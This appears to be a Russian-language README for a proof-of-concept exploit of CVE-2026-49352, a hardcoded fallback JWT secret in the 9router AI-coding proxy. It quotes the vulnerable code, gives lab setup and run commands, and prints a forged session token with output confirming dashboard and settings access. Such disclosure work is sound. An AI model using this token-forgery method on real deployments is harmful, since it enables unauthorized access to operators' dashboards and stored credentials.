
Эксплуатационный PoC для CVE-2026-49352 (9router Hardcoded JWT Secret Authentication Bypass)
CVE-2026-49352 — это уязвимость в 9router, самостоятельном прокси на Node.js/Next.js для инструментов кодирования ИИ. JWT сессии панели управления подписывается секретом, получаемым из переменной окружения JWT_SECRET, но если эта переменная не задана, обработчик входа и защитник запросов возвращаются к одному и тому же жестко заданному литералу:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
Поскольку эта строка зафиксирована в публичном репозитории, она вовсе не является секретом. Любой злоумышленник может подписать ей токен и быть принятым за аутентифицированного пользователя панели управления.
| Затронутый диапазон | Исправлено в |
|---|---|
| 0.2.21 – 0.4.41 | 0.4.45 |
Запасной секрет определен одинаково в двух независимых файлах.
src/app/api/auth/login/route.js — выдает токен сессии при входе:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
const token = await new SignJWT({ authenticated: true })
.setProtectedHeader({ alg: "HS256" })
.setExpirationTime("24h")
.sign(SECRET);
src/dashboardGuard.js — проверяет токен при каждом защищенном запросе:
const SECRET = new TextEncoder().encode(
process.env.JWT_SECRET || "9router-default-secret-change-me"
);
async function hasValidToken(request) {
const token = request.cookies.get("auth_token")?.value;
if (!token) return false;
try {
await jwtVerify(token, SECRET);
return true;
} catch {
return false;
}
}
Успех hasValidToken() является единственным условием, проверяемым перед предоставлением доступа к /dashboard и к конечным точкам, перечисленным в ALWAYS_PROTECTED (включая /api/settings/database). Не производится поиска записи сессии и не проверяется, откуда пришел токен — действительная подпись считается подтверждением личности.
Обход подтвержден и воспроизводим на сборке уязвимой кодовой базы. При незаданном JWT_SECRET:
[1] Формирование JWT сессии панели управления с использованием жестко заданного запасного секрета...
[+] Сформирован auth_token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
[2] Запрос /dashboard с поддельным cookie auth_token...
[+] 200 OK — обход аутентификации подтвержден
[3] Проверка /api/settings/database на раскрытые учетные данные...
[+] /api/settings/database вернул 200
Уязвимость срабатывает только если JWT_SECRET никогда не был установлен оператором — это значение по умолчанию для большинства быстрых развертываний / docker-run, которые пропускают этап настройки окружения. Развертывания, которые явно задают JWT_SECRET случайным значением, не подвержены уязвимости, так как SECRET вычисляется один раз при загрузке модуля и никогда не возвращается к запасному варианту.
cve-2026-49352-poc/
├── dockerfile # 9router собран из исходников, зафиксирован на версии v0.4.30 (уязвимая)
├── podman-compose.yml # сборка + запуск, JWT_SECRET намеренно пропущен
└── exploit/
├── go.mod # требуется github.com/golang-jwt/jwt/v5
└── exploit.go # PoC — Go
| Инструмент | Версия | Примечания |
|---|---|---|
| Podman | ≥ 4.0 | требуется podman-compose |
| Go | ≥ 1.22 | Для запуска эксплойта локально |
Внешняя зависимость Go: github.com/golang-jwt/jwt/v5.
podman-compose build
podman-compose up -d
Дождитесь, пока приложение сообщит о готовности, затем проверьте:
curl -si http://localhost:20128/dashboard | head -1
# Ожидаемый результат: HTTP/1.1 307 (перенаправление на /login, сессия еще не создана)
cd exploit
go run exploit.go -target http://localhost:20128
Добавьте -probe, чтобы также запросить /api/settings/database с поддельным cookie:
go run exploit.go -target http://localhost:20128 -probe
Доступные флаги:
| Флаг | По умолчанию | Описание |
|---|---|---|
-target | http://localhost:20128 | Базовый URL экземпляра 9router |
-secret | 9router-default-secret-change-me | Запасной секрет JWT для подделки |
-ttl | 36 * 365 * 24h | Окно действия поддельного токена |
-probe | false | Также запросить /api/settings/database |
podman-compose down -v
[1] Формирование JWT сессии панели управления с использованием жестко заданного запасного секрета...
[+] Сформирован auth_token:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdXRoZW50aWNhdGVkIjp0cnVlLCJleHAiOjI5MTgzNjMwMTksImlhdCI6MTc4MzA2NzAxOX0.yYdNxS-nYuxv609j1w7juimNVM1RROAfVRjZyt6TU3M
[2] Запрос /dashboard с поддельным cookie auth_token...
[+] 200 OK — обход аутентификации подтвержден для http://localhost:20128
[3] Проверка /api/settings/database на раскрытые учетные данные (согласно сценарию атаки из уведомления)...
[+] /api/settings/database вернул 200
{"settings":{},"providerConnections":[],"providerNodes":[],"proxyPools":[],"apiKeys":[],"combos":[],"modelAliases":{},"customModels":[],"mitmAlias":{},"pricing":{}}
| Ресурс | Ссылка |
|---|---|
| Уведомление | GHSA-jphh-m39h-6gwx |
| Уязвимый репозиторий | decolua/9router |
| Полный анализ — статья в блоге | return-zero.dev/posts/cve-2026-49352 |
Этот репозиторий предназначен только для образовательных целей и локального анализа эксплуатируемости. Все тестирование проводилось в собственной контейнерной среде. Не запускайте этот PoC против систем, которые вам не принадлежат или на тестирование которых у вас нет явного письменного разрешения.